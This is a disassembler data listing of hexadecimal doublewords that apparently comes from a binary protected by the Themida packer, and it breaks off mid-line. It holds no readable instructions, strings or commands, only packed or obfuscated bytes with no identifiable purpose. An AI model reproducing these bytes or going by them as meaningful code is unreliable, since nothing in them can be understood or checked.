0B9298B5Ch dd 2FA6487Eh, 685BD929h, 5FEFh, 83242489h, 5B042404h, 8BA52h dd 0DA010000h, 89CD8955h, 0FF5A5D2Ah, 815B2434h, 4C4h dd 2434FF00h, 4C48359h, 0FA8749E9h, 5A60ABFFh, 1AF687B8h dd 0FFC50306h, 8456B7E0h, 237A8447h, 24C98C03h, 0EAC9944Ch dd 0AF3C4915h, 98BECA7Fh, 6F84D36Eh, 0CAD70529h, 0D2DDF54Eh dd 0AAAB5358h, 65BBE979h, 24EB22h, 8 dup(0) dd 0E9000000h, 0BDh dword_5D919C dd 0F744B589h, 858B061Ah, 6152DB5h, 96D858Bh, 0B58D0615h ; DATA XREF: Themida_:0057B45Co dd 61AF78Eh, 4559858Dh, 0D0FF0618h, 0E855C3h, 5D000000h dd 0F794ED81h, 0BD83061Ah, 6152DB5h, 2C850F01h, 0FF000000h dd 1AF744B5h, 6D858B06h, 35061509h, 34812736h, 13CD0FFh dd 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h, 6A000000h dd 48B58D1Ch, 56061AF7h, 0F744B5FFh, 858B061Ah, 615096Dh dd 81273635h, 83D0FF34h, 0B58D0CC4h, 61AF748h, 8314468Bh dd 0F88304E0h, 7840F04h, 33000000h, 5E9C0h, 1B80000h, 83000000h dd 152DB5BDh, 850F0106h, 7, 2E9C35Dh, 5D000000h, 6D858DCFh dd 89061AF7h, 151A2D85h, 8E806h, 7EFC0000h, 0D7ABEDAEh dd 8B66CED2h, 12E85ED1h, 33000000h, 97D6F9D4h, 0D61584AEh dd 3943875Bh, 75F29051h, 0C2BF0F89h, 63C68158h, 6600006Dh dd 26BFD68Bh, 8A00001Bh, 660E8BFAh, 0E981D88Bh, 68E6BF33h dd 38F0Fh, 8B660000h, 58F181C2h, 0B633EFAAh, 0A1E98144h dd 5133A5E0h, 0EE9h, 0F2CB200h, 7A8CA218h, 0A7C0D1C7h dd 8FD4F8E2h, 690BB06h, 0EE815EC1h, 9953B0Fh, 12E9h, 586D3400h dd 85D6278Bh, 49C6ED0Bh, 0E07272A4h, 812541AAh, 953B0BC6h dd 13E909h, 0A6BF0000h, 0D572997Fh, 0D247C36Eh, 0C2E2C11Eh dd 0E4F3E0B1h, 1EF83A7h, 0FF7F850Fh, 0EE8FFFFh, 7E000000h dd 6EC042C1h, 0CA40A000h, 6EB9F94h, 0D78B6651h, 38D8D5Bh dd 6A061AFAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0A643C355h, 218D897Bh, 60061527h dd 95292DB4h, 6150709h, 0CD85C761h, 0CC061504h, 6A000071h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 742DC356h, 0F4377FA4h, 0BF6677D1h, 85C799B1h dd 6151115h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F7C35343h dd 61BD01AAh, 0F06152Ah, 0F89h, 0AE900h, 529F0000h, 3554C198h dd 59662652h, 9B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0F78052C3h, 89928945h dd 150BF1BDh, 358D8906h, 0E8061522h, 8, 4B84D490h, 9797C5ABh dd 0C995FF5Fh, 66061502h, 6AF622BBh, 2195FF00h, 8B06152Eh dd 544DEBC0h, 3BCAA122h, 2E8BB10Fh, 4623C141h, 9BB23EE0h dd 0D4142C8h, 5AC2D53Eh, 3E991C9h, 2FDED5A2h, 0C21F4CAEh dd 0FBFBDCCh, 0B3980475h, 1BD07FA7h, 6CEBBDE0h, 90C9FB1Eh dd 665E581Ah, 809CF281h, 4C526BD1h, 35616EE3h, 2E3A5ADDh dd 2CE9h, 0B747A400h, 6C000011h, 2, 8 dup(0) dd 0C3AE900h, 3B680000h, 0E9061AFCh, 0FFFB4E48h, 1AFD3868h dd 4E3EE906h, 0BB68FFFBh, 0E9061AFEh, 0FFFB4E34h, 1AFFB368h dd 4E2AE906h, 7468FFFBh, 0E9061B00h, 0FFFB4E20h, 1B023B68h dd 4E16E906h, 0D668FFFBh, 0E9061B02h, 0FFFB4E0Ch, 1B042C68h dd 4E02E906h, 2968FFFBh, 0E9061B05h, 0FFFB4DF8h, 91F38A6Bh dd 97B02E6h, 93F5887Eh, 0F81FCE8h, 9DEF8E84h, 5C4EA81Eh dd 0EBE4AF21h, 64473292h, 0E1CCB719h, 77742C9Ch, 23E4DA77h dd 73CBBAA7h, 0C7DE9F86h, 0AD3A432Ah, 0FABBA51Eh, 1806DBA1h dd 0A62C978Dh, 1C6CC26Bh, 25C211AFh, 539FFD49h, 79F019B3h dd 299ECC8Dh, 7E0F1CA7h, 0A1331186h, 24436948h, 0EE9D544Dh dd 0F84C70C3h, 0A7C56D0Eh, 0D4B2C13Bh, 0A7298285h, 1D0C6217h dd 6BEC9A8Ch, 486Ch, 99245E00h, 25A6CCB1h, 1EAF3C8Bh, 64310D2Ah dd 30AD3EDEh, 3A393009h, 3EDF1D3Ch, 0A3CA7FADh, 0DA605ECBh dd 0FAB353E2h, 296C564Fh, 0BFA729DCh, 4247C32Fh, 0B66BECF8h dd 0DDh, 0BDCDDA69h, 544DDD62h, 264C2558h, 0DE9F86A4h dd 0B2CBC451h, 352C02ABh, 0D2CBB298h, 5E495037h, 604F561Fh dd 6BC3BAB5h, 3898E5E0h, 430058EBh, 0F52A6747h, 0BF6AAD3Dh dd 60F8B90h, 6550D630h, 13FAAD3Eh, 14F7A286h, 0E0994069h dd 676910C9h, 0D5CCB19Ch, 7C6BBA76h, 53785482h, 0B71940B3h dd 0D05FAE0Ah, 412041F6h, 3E382BADh, 0AD3C1C1Fh, 0B9A6CC7Dh dd 0F2A390h, 8A800B7Dh, 1B84D1ADh, 6910AD3Ch, 233A432Ch dd 674DC36Ah, 65FA07D0h, 9D31AACh, 0CCC10000h, 3C34DFB1h dd 0CAC44F41h, 3E26D1B3h, 0D0C24D3Fh, 6E5CDBADh, 0EDDF9E94h dd 80502D22h, 0EDDF9E95h, 72522B22h, 84D1AD9Ah, 10A723E2h dd 99242DA5h, 1CD5CCB1h, 28553756h, 8BF2DDA8h, 85F8F19Ch dd 89FD35DCh, 1D6CC43Bh, 0E20A300Eh, 9FCAB353h, 0DB791C06h dd 0FF6FA729h, 0F7B2F773h, 0E9466BECh, 78000000h, 0C7DE9F86h dd 2C35482Ah, 3EE3CC52h, 0A8F76ADh, 0B5C16F28h, 7AA20B4Eh dd 2A03AAB3h, 641910BDh, 0EADE943Dh, 631A10BDh, 0C5B8AF3Ah dd 0F63CF59Ch, 1E0D7057h, 1364310Dh, 685EAD3Eh, 721F4A15h dd 3037FF7Eh, 7563043h, 0C1AD3E14h, 136E9079h, 70998299h dd 206FC9CAh, 0C3732013h, 6F635425h, 0C0CF8E68h, 9CCDAD3Eh dd 739F9DD5h, 23B353D4h, 8F2996F6h, 0FD3B340h, 8FAD4179h dd 0CAC04DDAh, 0E6A3DACFh, 0D4B47D00h, 0D63A4329h, 0FA07B9D8h dd 0D6891DD4h, 0BE000008h, 35E0B0CDh, 0C550403Dh, 27D2B2CBh dd 0C34E3E3Fh, 5DDCACD1h, 0DE9F956Fh, 4F2E23EEh, 0DE9F927Dh dd 512C23EEh, 0CCAAA77Fh, 0A723E18Dh, 8628960Fh, 0AAF7D9A4h dd 1E47361Bh, 9994BF77h, 0EE770600h, 5201EE47h, 9E10427Fh dd 6B12F7A2h, 0AE1C6CC2h, 51DE9F86h, 7CB2CBC4h, 0B55E6E5h dd 35FBA085h, 0BAB5E096h, 0BC74C1C3h, 9A807E6Dh, 0C6B3531Eh dd 332A5337h, 0BE6BB47Ah, 0C02AA231h, 0ED689A7Dh, 9E2D1A45h dd 8AA95EF6h, 1E2D05C6h, 8B765627h, 43F8F3A4h, 0A31DE889h dd 0C7E7D3CAh, 0E22E6F39h, 0DDC8E054h, 6A6530A0h, 0DEB08A13h dd 0E42BEAF3h, 7B168FEEh, 33BEE796h, 38B63C41h, 0EF8778ACh dd 927C0983h, 73BB72EBh, 4090EDD8h, 116C62F3h, 3A432A69h dd 0AB431EADh, 263320Ch, 8312BEBh, 57AEA04Bh, 0F89E881Fh dd 322BEADFh, 4110EEFDh, 532E92DEh, 0CE665026h, 0DEAECFB6h dd 28413C33h, 0DED86DCBh, 2E92DEBFh, 0E6052CDDh, 0A80DC208h dd 0B837E234h, 5418530Bh, 501A7F95h, 74F65759h, 2EA2D8A1h dd 5BD827A1h, 9AFCEF5Bh, 435A0F3Ah, 92A23757h, 0AF43B32Eh dd 55BA7633h, 48B82F3h, 37340000h, 0AD3EDF1Ah, 3EEF3859h dd 0D3023BADh, 5001AD3Eh, 0B0AD3ECBh, 9B2AC918h, 87A4CAB3h dd 80FDE994h, 0FC0A30E9h, 0B353E072h, 0B8E5E152h, 0E4A729D8h dd 9018FC35h, 0CFC1015h, 753F195h, 4C410000h, 0BCB45F31h dd 4A44CFC1h, 0BEA65133h, 5042CDBFh, 0EEDC5B2Dh, 6D5F1E14h dd 0D0ADA2h, 6D5F1E15h, 0F2D2ABA2h, 4512D1Ah, 90A723E1h dd 9924AD25h, 20D9D0ADh, 45543B5Ah, 9A39304Dh, 417DD32Ah dd 94DD9408h, 3403E697h, 3E8E1B3Ah, 0A9D079ADh, 0BF79D6D1h dd 0DBD28370h, 5F5FCCA2h, 0B359888Ch, 0E37281A8h, 5F168FEEh dd 28413C32h, 36C5C971h, 0A2F14F9Eh, 3DADA985h, 5AE9AD39h dd 0F6DC0255h, 1837DE87h, 99E014B5h, 7508EB9Ah, 0FADAC4BDh dd 8A5C90D4h, 7650DF2Eh, 3E57538h, 56304330h, 3C37507h dd 3B5AE495h, 5903C375h, 0B5F1F2CAh, 5A1331C0h, 0F9413C2Fh dd 0FDEEFD2Ch, 0C2E25401h, 1A194003h, 0C2E27D1Ch, 44EA1F03h dd 2372CE1Dh, 82661704h, 0C0C933FBh, 0E409D81Dh, 2007B635h dd 8F3E6B5Dh, 0FF8EE499h, 179F7508h, 79556BD4h, 65B6E00h dd 54390000h, 0F4DCA729h, 927C0789h, 0F6EE99EBh, 987A0587h dd 5644E3E5h, 25A7D6BCh, 8808755Ah, 656716FDh, 0FACAB39Ah dd 0C492522h, 88A723E0h, 6CC4A51Dh, 211D0E1Dh, 0AD3EDE74h dd 611C1520h, 0ADE89148h, 9B0B9C4h, 60C6C031h, 88B353F6h dd 0C7FE9B9Bh, 6B9EA729h, 0B6AF5AC3h, 2049341Bh, 0C6DF9E95h dd 2B51462Bh, 0C1080016h, 0BDB5AC85h, 0A78FC32Fh, 0FDBB950Dh dd 0A13241AEh, 0C0D800C3h, 17254D52h, 0AD3EF343h, 0DCD6B663h dd 0AD3ECAB9h, 3ECA9BBAh, 6236C5ADh, 0C9FF4DDBh, 71CFBC72h dd 0C6290522h, 0E2B35965h, 8542E37h, 73A72456h, 0A7245621h dd 23F9846Bh, 3E06599h, 9A9C2EEBh, 0FA000005h, 99646419h dd 11FCCCB1h, 9B666617h, 0FFACAB3h, 0D170601Dh, 324B41DBh dd 0BBC2A752h, 324B3EC9h, 0BDC0A752h, 585653CBh, 0A723DF39h dd 0C494EA5Bh, 2B52396Ch, 926C7B32h, 0AD3EDEC3h, 62D1A8D1h dd 59D98F64h, 0C9CA79B3h, 58E35E9Eh, 99A0024Ch, 0EB423E47h dd 362FDA43h, 2AC9B49Bh, 971A499h, 6825A96Ah, 0AD64FD80h dd 0FDB40185h, 1ECF8E68h, 9CCDA724h, 0DF86F7F1h, 0CB66FF36h dd 4C3799E4h, 86851C61h, 0F36A13F7h, 930A7356h, 0B0DB93DAh dd 0BEA1C8B5h, 640D06B5h, 60FA25A2h, 0F0089C1Ah, 1B0888F5h dd 0B9B5826Ah, 0A7243B9Ch, 522851F8h, 0E757CADFh, 1612E6Bh dd 54010000h, 7759215Ch, 0E1D6CC4h, 540DDA30h, 1969FAB3h dd 0AE38AE40h, 815D042Dh, 0A7291FD2h, 0B28C189Eh, 4E28C716h dd 0AD3E4F88h, 681375A4h, 0CC69007Dh, 0FF2C9CE1h, 0DBDB5C4Eh dd 0AD3E4EBEh, 45022BDEh, 6BE1204Ch, 83502667h, 7D7976C5h dd 0B353D3D1h, 39253CEDh, 0A729C318h, 3F32E3D0h, 0C86E273Eh dd 0EDBA36AEh, 0AC6BECDAh, 1C522B21h, 456Ch, 6CC45E00h dd 91162037h, 2059E21Eh, 77262013h, 25AD3E5Bh, 0B7259F4h dd 9693DB92h, 535FA298h, 181742B3h, 4FFA836Dh, 534E2459h dd 0C0BDA954h, 0BC4AF0A9h, 0A7295E99h, 0D753DF4Fh, 6BEC7AD2h dd 9726h, 9F869800h, 482AC7DEh, 0A6A12C35h, 4C43CED7h dd 1655F31h, 0E9AD3EE4h, 0DA5DFCFAh, 0A3FAD3Eh, 3F3E2964h dd 0F948004Dh, 8264FCFAh, 1940B356h, 0F4896B1Ah, 98A44F7h dd 0DF37221h, 87346165h, 0E9EDFCA4h, 77165C28h, 9E74E895h dd 12FC1247h, 3D3F397h, 0CCC10000h, 3C34DFB1h, 0CAC44F41h dd 3E26D1B3h, 0D0C24D3Fh, 6E5CDBADh, 0EDDF9E94h, 80502D22h dd 0EDDF9E95h, 72522B22h, 84D1AD9Ah, 10A723DCh, 97242DA5h dd 0B9004FAFh, 2F5E143Dh, 0C550403Dh, 63D1B3CAh, 51DE9F86h dd 0B6AFCEC4h dd 0A53037FFh, 83FAEFAAh, 376CDAAAh, 0AD3F5F16h, 3E5F3C5Dh dd 1D6CC4ADh, 58BB300Eh, 30D9B359h, 0F5EDA39h, 6AC42620h dd 11BCAD39h, 0F28B7F1Ah, 0C36B223Bh, 0D08D695Ah, 0CCAD2F62h dd 7A3975B7h, 4D24BEA9h, 0BD403024h, 55CCFA0Ah, 338B1h dd 6775C00h, 6617FB86h, 0C8B59B66h, 2C513DC8h, 0C2BBB15Ch dd 9B7563C2h, 39C4C4B9h, 0B05B2D50h, 39C4C4B9h, 0C55D2F4Eh dd 0DCAFEEC8h, 78EDA723h, 0DE9F860Ah, 3A432AC7h, 91C0BEADh dd 3AD3EDEh, 0BD492670h, 0E990CF35h, 38903D91h, 876E1203h dd 46EFE388h, 7581CDA9h, 6C9DB353h, 644809F5h, 16A0A729h dd 7D65229Eh, 87346BECh, 0FC1A7795h, 0ADE1990Eh, 3Eh, 376CC41Fh dd 0BB503B5Fh, 1F5E52DEh, 0CFA6CF86h, 5077B360h, 5BE72E08h dd 22181613h, 8EB3535Eh, 0E5C678FDh, 0DB934D20h, 0F4CED782h dd 0A729A1A1h, 0BF3BA747h, 6BECBDEAh, 0E50Eh, 9F86C000h dd 482AC7DEh, 1F07B635h, 491185Eh, 0E9949009h, 0B690A390h dd 0AD3EDEE7h, 0D38CF1E3h, 0DAD9D0A6h, 0DEB0EDC9h, 3DECAD3Eh dd 2A6F56F5h, 862F3647h, 7FE3DDAFh, 6BAD3EE3h, 0E38BF2DAh dd 33C0BDA8h, 0AAD0ADA2h, 9745B26h, 73A559EAh, 7E22290Ah dd 0E6A57530h, 0F33B85DAh, 52A11F6Ch, 7D59D9D5h, 0BC49B353h dd 17B2ABD2h, 4C224B32h, 0D9666613h, 3C412C5Fh, 0DBA28825h dd 0B620BC2h, 2374221Ch, 0F920AD41h, 14694BFAh, 0F9846617h dd 1D71C970h, 17FD8072h, 0FA07DF67h, 0E28E20D9h, 0B2000001h dd 41CCBCC1h, 0A9543449h, 43CEBEBFh, 0A752324Bh, 59D8B8C5h dd 0DAA38963h, 532A1FEAh, 0DAA38671h, 55281FEAh, 0D0AE9B73h dd 0A723DA81h, 862CA213h, 495AD9A4h, 3EDF306Dh, 75BD6CADh dd 0FE7F6611h, 6CC4408Eh, 5E495039h, 0A64F561Fh, 0E06660CFh dd 0FCB353E2h, 3A2FDE4Dh, 0D6731A43h, 0BAE58DF0h, 29DBADE0h dd 8B383BA7h, 0C6263661h, 0ED87AFF4h, 44B0F975h, 0C1486BECh dd 7A000000h, 0C7DE9F86h, 2C35482Ah, 59A8C3Fh, 1AEE9FF1h dd 4474EA54h, 0E7DEAD3Eh, 0EC9996h, 52DE47Dh, 6E0FF681h dd 0D12098F7h, 46D26462h, 5702B353h, 14C2BD8h, 0B40C615Dh dd 0A5CDB099h, 0E91C9421h, 2CE57C01h, 7557E605h, 0D8D46108h dd 85A6CCA5h, 40898EA9h, 101F4AADh, 1EE8F85h, 0ADF0DA52h dd 2E487533h, 16ACDB57h, 8FE8B6Bh, 0ED45EC75h, 81FCEE99h dd 709D99Bh, 3CCE4BFAh, 0E5h, 0CDBFBEAFh, 5D2F4E42h, 0CFC1BCB2h dd 53354844h, 0C9BBC2A8h, 0B0A27C6Ah, 1710FBCDh, 0B89B6666h dd 4D38C3C5h, 0CBC86030h, 23D9AEEBh, 777EEA7h, 0CCB19924h dd 37561CD5h, 0DDA82855h, 8B398BF2h, 0C7DE9F86h, 4A3A432Ah dd 0C6B7B05Dh, 56A52370h, 0D916DDD9h, 0EDFEB359h, 23E44411h dd 512950A7h, 0B13C6514h, 3AC5C7B6h, 47332A53h, 0BED02648h dd 859D159Fh, 611C0F8Ah, 0E8E89148h, 524B321Dh, 41AECFB7h dd 0B5E09D94h, 0EEA7BEBFh, 9D942148h, 0C26B12FCh, 66170E9Bh dd 3138452Bh, 0B4D1ACA4h, 0F93E7202h, 0E2CDE57Dh, 0A018C9Bh dd 40CBBB73h, 0ABB3845h, 0C14E5726h, 0E8779362h, 30062F48h dd 0E5893A39h, 0AEC4AA66h, 16C389B1h, 0ED000000h, 0D0AD9924h dd 695A20D9h, 0B6FE893Ah, 0ACBBD593h, 0BB73BAC3h, 0D8A586CDh dd 344944D1h, 0D4A9A02Dh, 364740CDh, 0CDB0A22Fh, 2A5339D4h dd 0CFAE9633h, 28553BD6h, 81FCF481h, 895304E8h, 4C381E3h dd 83000000h, 1C3304EBh, 241C3124h, 5C241C33h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 7668241Ch, 8900006Dh dd 0B9512404h, 73F4434h, 0DBB6B1BBh, 8BCB01FEh, 0C483240Ch dd 48B5404h, 4C48324h, 89DD8955h, 2C8B0868h, 4C48124h dd 8B000000h, 89502404h, 405E0h, 0C0830000h, 24048704h dd 241C8B5Ch, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch dd 0FFFB4220h, 8F23D82Ch, 68CB9446h, 1B0633B8h, 0FFC50306h dd 96FC3AE0h, 1966C127h, 67BA661Fh, 0CC59F23Eh, 9AB47B4Dh dd 0F375BF5Ch, 0DAE944h, 0F01C0000h, 9CD76EDBh, 0C8C3CA45h dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h dd 0 dd 9D744700h, 99E0E312h, 5Eh, 8 dup(0) dd 13E6E9h, 99C6800h, 7FE9061Bh, 68FFFA76h, 61B0AA1h, 0FA7675E9h dd 0B5F68FFh, 6BE9061Bh, 68FFFA76h, 61B0CFEh, 0FA7661E9h dd 0D8368FFh, 57E9061Bh, 68FFFA76h, 61B0E4Ah, 0FA764DE9h dd 0EDA68FFh, 43E9061Bh, 68FFFA76h, 61B0F57h, 0FA7639E9h dd 101368FFh, 2FE9061Bh, 68FFFA76h, 61B114Fh, 0FA7625E9h dd 122D68FFh, 1BE9061Bh, 68FFFA76h, 61B136Eh, 0FA7611E9h dd 146768FFh, 7E9061Bh, 68FFFA76h, 61B15BBh, 0FA75FDE9h dd 16DE68FFh, 0F3E9061Bh, 68FFFA75h, 61B1886h, 0FA75E9E9h dd 194368FFh, 0DFE9061Bh, 98FFFA75h, 58C7AE1Eh, 978C69D9h dd 60CFA616h, 8EA570E0h, 0C2D9BC2Ch, 0E454D6C9h, 2D9D2211h dd 0E959DB48h, 2494170Ch, 0ED588651h, 169DFAA4h, 2476C647h dd 0D59B5FC7h, 2ED4970Ah, 0A41F3D01h, 1086137Dh, 0D13B2F00h dd 0C0FDCA0Bh, 3D1A8AE8h, 0A2BCB061h, 86FFFE23h, 0BEAC7D10h dd 977EEE4Dh, 1F3F6F0Fh, 9BF66CA4h, 0F620F116h, 0FAC52F28h dd 7ECFD64h, 9342153Ch, 0E8C7D816h, 427AA302h, 8C031693h dd 0CDC52821h, 274B9DBDh, 5F000000h, 3DB0BABh, 9BF5F040h dd 7ABC8D16h, 93F1D2FBh, 0C9F49B16h, 3BAB0829h, 2D6802FBh dd 9DBD1CC0h, 0C448h, 0C7246400h, 0C92A8757h, 8A605D59h dd 0A313978Ch, 8DFD7E73h, 0AB1B9889h, 0F788E7CAh, 21A21086h dd 8FA81895h, 0AE814BE2h, 4B2A05DBh, 0E151B2FFh, 132D8B5h dd 96241282h, 19ACB2E2h, 169CE471h, 5C4A2BFCh, 80F0509Ch dd 64CD8FAFh, 0ADA29404h, 9307D1F8h, 3EAE0F16h, 83D9B182h dd 8B697FC0h, 112DFE10h, 6332A220h, 1FFE6ECCh, 0B1BDAD7Ah dd 4373CFE5h, 0C0000011h, 0F03FD646h, 0DF542191h, 1807EE5Eh dd 0D64D2898h, 9A11E454h, 0AC1C9E11h, 65D55AC9h, 0B121A390h dd 7CEC4FE4h, 0A5202E99h, 169DFB7Ch, 24BE7EFFh, 2B8856C6h dd 635C5ACAh, 7562EC87h, 9FB54D16h, 7AFD3673h, 57330C0Ah dd 0CE959DAh, 0DB0BAB20h, 0F5F04003h, 0BC8D169Bh, 0C33391A2h dd 2610FAD3h, 93F17E9Fh, 1D900716h, 0EE5EDCD5h, 0B1F3DFA8h dd 511670F2h, 48B8357Eh, 1A99714Eh, 9DBDCD8Fh, 0B815h dd 0C724F100h, 0F0525F57h, 6BC89680h, 0AFA09606h, 0F793E0BBh dd 6BC81086h, 0A09D9909h, 7AEA49CAh, 94407364h, 87F51067h dd 189B88E3h, 3CFC6EA8h, 8001320Ch, 0FAE47A10h, 0B2D438DDh dd 861BCE13h, 0BB9CAD10h, 0E08ACF1Bh, 9CD51DC5h, 26CFE016h dd 6EDB3324h, 0C3FDE282h, 9DCD7127h, 665602C1h, 1627108Bh dd 1787EB48h, 1A8AEA47h, 0AC0E2570h, 1D32A220h, 0BDA6D180h dd 20A492B1h, 103Eh, 1CF969C5h, 6332A207h, 740171CCh, 2CC939BFh dd 720373F7h, 0B73B7635h, 0FE81AE47h, 0BC38E78Eh, 0F97AA94Ch dd 0F3DBEC89h, 9DF80950h, 0C973F416h, 0BF56C624h, 0D2A31370h dd 57C72466h, 81F1525Fh, 4EBE3FF4h, 68D85B48h, 0C42D248Dh dd 4BFAC4F4h, 169BFBC7h, 0BA0995A6h, 0E042A92h, 0D343C0F1h dd 8DBD8137h, 297212B1h, 0BBA1EB03h, 32AEC108h, 2A9A1F13h dd 9CAD13ECh, 5FDDCAEEh, 0F9D6A7EFh, 5B8B2BBDh, 0A7EA5983h dd 461332AEh, 4BF9575h, 152B3805h, 3A774758h, 544D49B9h dd 9E4C63D3h, 0B0189B98h, 0C5040859h, 26CFE0FFh, 8FEE7AF9h dd 0B86D301Fh, 0AFB41E85h, 0F803DC5h, 3830000h, 0CC2D0293h dd 0B6AB95Ch, 0C325FA9Bh, 0D6DC253h, 0E8A3F89Dh, 30C535B5h dd 690C7C03h, 2BCA3ABAh, 6E0777F4h, 87CA7965h, 66169DF9h dd 0C72497A5h, 25D95F57h, 0BEF3E9F5h, 8520CA3Ah, 169C0A4Dh dd 0CC15B0AEh, 0AF1693EAh, 0ACCEC9Eh, 93EA163Bh, 0CFC4D516h dd 0C7B8FE6Eh, 5DDDD6E8h, 36D4A9EDh, 7FAF4F57h, 0B3347D5Fh dd 397A5343h, 3A248B8h, 1089386Fh, 0B98C528Ch, 1CACB590h dd 0B6DB4A5Bh, 0D31CACB5h, 0ACB52970h, 5DC3D41Ch, 29FA9E4Ch dd 31A11C15h, 0B4620805h, 0F666C9EAh, 801BCFC0h, 1CACB55Dh dd 981F142Ah, 7911EE28h, 2FBA8F3Eh, 0B5A3D261h, 6Fh, 0DE624FD1h dd 0FFF496Eh, 0FABD630Eh, 0A6D6AA10h, 0CB022D98h, 72BF169Ch dd 8EFE820Eh, 0F29875A1h, 21EF05CEh, 658F5CCEh, 0B83F744Ah dd 99714E48h, 9E0E6EC3h, 0DF5E53F7h, 0C948EA77h, 90BF3724h dd 0E2C1A9A6h, 16934CBDh, 40C04CAFh, 3416FFD0h, 4C769B2Ah dd 24F51693h, 0D3AA3413h, 0ED9DD206h, 6650C03Ch, 0E5DDEh dd 56D7DC00h, 4F1004E6h, 0EE8ACF86h, 9C3C7E2h, 0F58FA829h dd 0B4DE8CC1h, 3B0AD404h, 16A115ECh, 2F845A6Bh, 6AB95CCCh dd 0B9D9909h, 0A0233B6Bh, 10BA0A6Eh, 0B300DEEFh, 0DEE050h dd 0B0081C45h, 1FFA761Ch, 0EBADF4DBh, 0E7866435h, 0EB5ABB38h dd 1CB040A6h, 5B5B7445h, 0E5F929CDh, 868CDEF7h, 0B6632F1Dh dd 83A5E9D4h, 5B481AAAh, 5D3264D4h, 0BCE4AB72h, 7D77AB9Fh dd 0DE1F5h, 34A42200h, 0FF6FD261h, 3CAC0916h, 0F666CA59h dd 42B2101Fh, 0FCB7F4B3h, 0B8670E7Eh, 12EC737h, 0AD821383h dd 8C37DE4Eh, 0FEDE03C2h, 0DC9D169Dh, 0F297B660h, 0B0501086h dd 93A0BE80h, 8E77BF2Fh, 0F8AF511Eh, 7A103F49h, 0A18A194Bh dd 94CFD816h, 5D3E3337h, 8FA4BA95h, 75D9BC2Ch, 19DD9460h dd 0B654EFD1h, 9086F675h, 1826562Ah, 1A8AED46h, 5C47231Ch dd 1087D724h, 340598A9h, 2BB1BA5Ah, 0D5CA909h, 47A70000h dd 90F13ED7h, 5FDE5520h, 971906EFh, 61E14E27h, 48724F1h dd 0DCB92989h, 0A570E047h, 0D7BE2E8Eh, 9A7BEB48h, 7B9E2529h dd 2169DFFh, 0C724BB81h, 0F1525F57h, 0B4A69581h, 1371FD7Fh dd 0BD8A8CA3h, 95CBB758h, 67032C67h, 61CC7D30h, 0E797A8B0h dd 876h, 0EA0BABC3h, 86F2365Bh, 0CBE4B510h, 0F90950F3h dd 23F416A1h, 2191161Bh, 759C27F5h, 0F8169DF5h, 0DC620827h dd 11E454D7h, 37B6084Dh, 85426E57h, 5FC724E5h, 0A294EF15h dd 7DF83B12h, 91F4220Dh, 169DE84Ch, 19255529h, 42289818h dd 3CF5E2FCh, 90C79F10h, 62D2555Eh, 14AF5B34h, 1087A7DCh dd 86F674A1h, 88FDD4A9h, 5066B1BAh, 0C95F4h, 0A0106E00h dd 6BDB5ED5h, 0A818958Ah, 62D256CDh, 0AE1E9C93h, 0E8DBD0C7h dd 0A47B1A8Ah, 0ED42D343h, 0A9761F8Fh, 883BDA4Ah, 0FCDAFFC6h dd 0E0A1169Dh, 57C7245Ch, 81F1525Fh, 0A00FA695h, 0A81E44A9h dd 7C0CC97h, 0B6E00000h, 1086F297h, 0BE80B050h, 0F2FC25A0h dd 0AE7F1086h, 0C6CB7ABCh, 0A516A1F9h, 9F94CA94h, 4FBCAE1Eh dd 8A997CECh, 0EB7DB929h, 80431B4Bh, 10870D48h, 1C8CE815h dd 0ED5E8342h, 0C1D1CB6h, 31015A23h, 0D0E6B1BBh, 0C0574h dd 1080FE00h, 0DB4BAE85h, 1888E53Ah, 0D242A67Dh, 1E8EEC43h dd 386B2077h, 74AB4ABAh, 3DF283F3h, 79A64FBFh, 0D8EB8AFAh dd 0FC0A4FF6h, 70F1169Dh, 57C724CCh, 81F1525Fh, 0A00FA695h dd 0A81E44A9h, 730CC97h, 0ABE00000h, 4003DB0Bh, 16A1F9A4h dd 0E656DAD7h, 8B2BDFB0h, 2C8FA4BAh, 0E94AD9BCh, 97B63D79h dd 50169DF5h, 7BE80B0h, 10870DD3h, 81F4899Ah, 5AB1BB31h dd 0B88D85Ch, 0FB7B0000h, 0B435EA8Bh, 382B144h, 0CB2D0293h dd 565BA5Bh, 0E0AB0095h, 38DD4DADh, 811484EBh, 13E252B2h dd 462F9F1Ch, 0AFF2517Dh, 4E169DFDh, 864F6FCDh, 5EE54FC4h dd 74B5554Dh, 0A28F87F7h, 7685B121h, 1122D0FFh, 7A5343B3h dd 78982590h, 0A32097A8h, 0FC000006h, 86F292B6h, 71A15510h dd 79E9446Dh, 8FF8CB91h, 0CE16A1F9h, 0FA10390Ch dd 0CADB169Dh, 5BD8D9E5h, 96150AEBh, 0A11CA80Ah, 27181E31h dd 36283608h, 9DFA4A8Fh, 0C5603116h, 169DFA9Ch, 0E2454E5Fh dd 0C9E9872h, 7EA5446Ch, 6CEFD908h, 0B6367B43h, 3392A446h dd 1080E87Fh, 0D7502DFEh, 8B1BB2Eh, 0ACC86EEh, 0B7370000h dd 81AE47h, 0CF2E0590h, 769B65Fh, 0D131FE97h, 94179461h dd 4C299919h, 15E050D7h, 472E9E1Eh, 0AEB5BD8h, 0EB2E95B9h dd 92169DE2h, 0C7246BD1h, 587D5F57h, 1CEA0CC3h, 44C5A5ABh dd 